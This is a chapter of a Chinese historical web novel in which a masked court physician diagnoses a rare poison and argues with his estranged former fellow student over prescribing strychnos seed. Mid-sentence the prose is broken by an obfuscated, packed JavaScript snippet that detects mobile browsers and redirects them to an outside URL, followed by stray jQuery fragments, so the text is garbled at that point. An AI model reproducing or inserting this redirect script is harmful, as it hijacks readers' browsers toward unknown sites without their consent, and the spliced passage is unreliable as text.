何云争知道,柳执因的性情向来如此。若非这般固执,又不通世故,以他的医术造诣,早该坐上院使的位置,执掌太医院了,哪还用得着在这院判的任上磋磨许多年呢。
是以他并未动气,只将声音放得更和缓些,解释道:
“柳院判言重了。是因昨日司灵官大人与晋王殿下皆来为容大人诊过,今日才特地请忌先生前来,盼能一同参详。”
“哦?”
柳执因冷冷一哂,侧身让开半步,在一旁环臂而立。骨节分明的手指拢在袖中,指节微微泛白,显是按捺着性子。
他目光清寒如霜,静静地落在谢攸身上。
“那不知这位……司灵官大人,有何高见?”
他的声音不高,却字字清晰。“司灵官大人”几字在唇齿间碾过,竟透出几分说不出的刻薄之意。
谢攸虽以“忌虚白”之名行走不过一日,所见众人却无不敬而重之,倒从未遇上这般毫不客气的冷待。
他心下轻轻叹了一声,暗道这人脾气果然如旧,一丝未变,却也不愿多言,只缓步上前,指尖轻轻搭上容斟和腕间的脉息。
他的动作从容不迫,指尖温度似有还无,像春末沾衣的柳絮,轻悄得几乎令人察觉不到。片刻后,他收回手,抬眼望向何云争。
“不是病,是毒。”
柳执因闻言,面上那抹似有若无的轻嘲,竟悄悄地敛了去。拢在袖中的手猛地一收,眉峰骤然蹙起,眼神里多了几分真真切切的诧异。
他不由得凝神,第一次仔细地打量起眼前这位戴着面具的司灵官。
事实上,他并非未曾听过“忌虚白”之名,相反,他听得太多了。
只是从前未有谋面,又闻得此人行踪飘忽、素来避世,头一次下山便是为了救治皇子,之后顺理成章地受封司灵官,心中不免存了几分说不清道不明的讽意。
若当真医术超绝,心怀仁念,何以隐而不出,连真容亦不愿示人?
只怕是故弄玄虚、沽名钓誉之徒罢了。
偏偏太医院那些老固执个个都愿意捧着这位司灵官,凡是提起必然尊敬有加,这更叫他心中不豫。
柳执因向来觉得,若当年他在京中,怎也轮不到这忌虚白下山救人。
可此刻听着那句淡然而肯定的判断,他却不由自主地收了轻视,心里生出几分探究来。
这人声音平稳,言辞果决,尤其是话里的内容,倒真是有几分本事在上,不单单是虚张声势的绣花枕头。
谢攸并未察觉,身后站着的那人,顷刻间心绪已几经流转。只耐心地向何云争解释道。
“此毒发作时,状若惊厥,脉象浮促,而肌理隐现青纹,便是现在这般模样。因十分罕见,极易误判作癔症,或是风邪。”
不是极易误判。
柳执因心中无声地接道。
是他原以为,如今这世上,除了他之外,再没有人识得这种毒。
便必然会误判。
“毒?”何云争微微一怔,眸中浮起一层薄雾似的忧色,“怎会中毒?”
这话问出口,怕是连他自己都觉得苍白。人都已经这样安静地躺在那里,再问缘由又有什么用呢。
可他望着容斟和那张失去血色的脸,心头漫上来的惶然与无力,竟让他一时之间除了发问,不知该如何自处。
谢攸垂下眼帘,避而不答,只淡淡道:“先备药解毒要紧。”
“府中设有药房,先生需要什么尽管吩咐,若有短缺,我即刻差人去配,必不耽误。”何云争连忙应道。
谢攸抿唇未语。
医家用药,便如同文人执笔,各人有各人的风骨与偏好。寻常小症或可大同小异,但遇上这等罕见之毒,遣方用药便如执棋落子,一招一式皆见功底,是一个医者的筋骨与坚持。
若是在旁人面前,倒也无妨。可如今站在他身后的,是柳执因。
他们二人自幼一同学医,相伴数载,曾于灯下共读药性赋,山中同辨百草毒。在那些数不清的晨昏与日夜里,他们为了一味药争得不可开交,也为了一帖方的精妙辗转难眠。
那人见过他所有离经叛道的方子,没有一千也有八百,对他用药的脾性再熟悉不过了。
这实在太容易留下痕迹。
谢攸这般想着,却不禁抬眼,目光又一次落回到卧榻上的容斟和身上。只见他双目紧闭,血色全无,气息微弱得几乎难以察觉。
谢攸在心中迅速推敲出另外几张方子,思绪如电转飞快。旋即,他再度上前,指尖轻轻覆上容斟和的手腕。
那手腕冰凉,脉象如秋风中被吹散的雨丝,难以捉摸。
他将方才想出的那几个方子又在心中细细筛过一遍,却又不得不逐一放下。
有的药性过于峻烈,恐他再似从前那般,虚不受补;有的则寒气太重,怕他服后,反而伤身,适得其反;还有的,虽能解毒,可与他脉象相冲,恐会留下更深的隐患。
各有各的不妥之处。
他心底那缕自今日见到何云争起,便悄然萦绕的不安与疑虑,此刻悄悄收紧,勒得他胸口发闷,几乎要喘不上气来。
仿佛又回到许多年前。那个总是能一眼看穿他所有心思的人,如今依然站在身旁,带着几分了然的神情,等着看他想要如何收场。
窗外天光大亮,明媚的光线透过细密的窗格落进来,轻轻铺洒在谢攸的面具上。冷色的金属折出和暖的光,一如他心底挣扎。
说是挣扎,其实也没什么可犹豫的。
容斟和本就身弱,昨日又大病过一遭,拿药才吊住性命,如今再这样拖下去,毒怕是也不用解了。
也罢。
谢攸眉心紧蹙,眼睫低垂,似是将所有的无奈都付诸于这一息之间,带着一种孤注一掷的温柔。
他转向何云争,缓慢地报出了一串药名。每一个字都说得很认真,仿佛成竹在胸,十拿九稳。
可他藏在袖中的指尖,却在微微发颤。
何云争凝神静听,一字一句都仔细记下,又低声重复了一遍,与他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411404|184595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
确认,见谢攸颔首,这才匆匆转身离去。
室内一时间只剩下他们三人,空气静得能听见彼此清浅的呼吸。谢攸眼睫微动,终究没忍住,用余光悄悄瞥向静立一旁的柳执因。
对方依旧保持着环臂而立的姿态,面色平静得像一潭深水,目光落在容斟和身上,看也不看他一眼,似乎并未因他方才报出的那方药而有丝毫波动。
那平静无波的神情,倒让人猜不透,他是真的没有注意到,还是早已看穿,却不愿说破。
不多时,何云争便带着药材回来了。谢攸上前,指尖拂过那些药材,逐一确认过后,才轻轻颔首,叮嘱他要将几味药磨粉后,再放进药罐熬制。
何云争刚要应下,一直沉默的柳执因却忽然开口了,声音带着冷冽的质地,劈头盖脸便砸了下来。
“他都这样了,你还敢给他用马钱子?你究竟是来救人的,还是来送他最后一程的。”
谢攸的手几不可见地顿了一下。
这么多年过去了,怎么还是躲不过这一味马钱子。
他二人“水火不容”的根源,便在此处。
谢攸这人,平生就爱用些不同寻常的药。生石膏、马钱子,这些医家不爱碰的,偏偏都是他的心头好。
有时候病人略懂些,怕会忧虑这几味药,他便悄悄用上,神不知鬼不觉地混在药包里;若遇上不懂的,就随意换个名头,将其遮掩过去。
在他眼里,药无高低之分。能救人,便是好药。
反正能治病便是了,又何须知道自己吃下去的是什么呢。
柳执因却不同。他用药素来讲究一个“稳”字,慎之又慎,与谢攸恰是两个极端。他总说谢攸太过任性,不计后果;谢攸则嫌他太过谨慎,墨守成规。
为这个,他们二人争执过不下百回。
谢攸不禁在心中轻轻一叹。若是放在从前,那些年少气盛、谁也不让谁的日子里,他定要同柳执因争个分明,不辩出个结果绝不罢休。
可眼下却不行。他顶着“忌虚白”的身份,没有心思,也没有立场,再去争执这些旧日里寻常的事。
谢攸只得装作未曾听见柳执因的话,将所有情绪都压在心底,转头对着何云争重复了一遍,语气温和却不容置疑。
“这三分马钱子磨粉,一分都不能少。磨得细些,才能更好地融在药里。”
柳执因闻言,眼中的冰冷竟似尽数化作勃然大怒,映得眼底里都染上一抹红,教人摸不着头脑,不知道他究竟在为什么而生气。
他瞪着谢攸半晌,嘴唇微微颤动,似有千言万语堵在喉间,最终却只是怒极反笑。那笑声里听不出丝毫温度,只有浓浓的失望和讽刺。
“好,好,好。”
他连说三个“好”字,一声比一声冷,一声比一声沉,竟似带了点咬牙切齿的味道,尾音里还藏着一丝不易察觉的涩意。
最后一个字音落下,他蓦地转身,衣袂拂动间,带起一阵微凉的风。
“太医院还有公务,我不奉陪了。”